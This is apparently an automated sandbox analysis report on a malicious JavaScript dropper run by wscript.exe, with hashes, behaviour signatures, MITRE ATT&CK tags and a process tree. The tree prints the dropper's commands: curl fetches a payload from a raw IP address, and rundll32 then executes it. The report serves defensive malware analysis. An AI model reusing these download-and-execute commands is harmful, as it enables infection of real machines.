2d152e9c4ec490fdba65efb87ed161cd1e1b5b9000eed509a928903f99156439

Analysis

max time kernel
135s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
15/06/2023, 15:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

document_DB798_Jun_15_1.js
Size

5KB
MD5

ccbcf7f0c1a6cf533bea8c541cec65c8
SHA1

66508c03201f46e065e78e6cbe01e5715e4f764c
SHA256

d892f064fd53f65d347124c052e58a7c6f317f759a52d4da23aa8a141cd55890
SHA512

e0655d0b9b9b804adb81cf7a27b3f5cd74b6fb84d402a52ed9279cfe88f7ecbe560c0b2d01ed5a98ba87fa780b8c547e5785f3a47300ad42ed8ac4224bd60385
SSDEEP

96:EVUHZFSYQYGZjTqH8v/2TuFxD78H8v/2TTxDe7MDsyEBD3MTQyeyZqg1WuTQyv3Q:WB/8o/8iB8ZG

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	4352	wscript.exe
6	4352	wscript.exe
8	4352	wscript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4352 wrote to memory of 1676	4352	wscript.exe	84
PID 4352 wrote to memory of 1676	4352	wscript.exe	84
PID 4352 wrote to memory of 3800	4352	wscript.exe	92
PID 4352 wrote to memory of 3800	4352	wscript.exe	92
PID 3800 wrote to memory of 4416	3800	conhost.exe	93
PID 3800 wrote to memory of 4416	3800	conhost.exe	93

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\document_DB798_Jun_15_1.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4352
- C:\Windows\System32\curl.exe
  "C:\Windows\System32\curl.exe" -o c:\users\public\tangier.tmp http://158.255.213.54/vMCtB/AD057
  2⤵
  PID:1676
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" rundll32.exe c:\users\public\tangier.tmp,must
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3800
- - C:\Windows\System32\rundll32.exe
    rundll32.exe c:\users\public\tangier.tmp,must
    3⤵
    PID:4416

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

Loading Replay Monitor...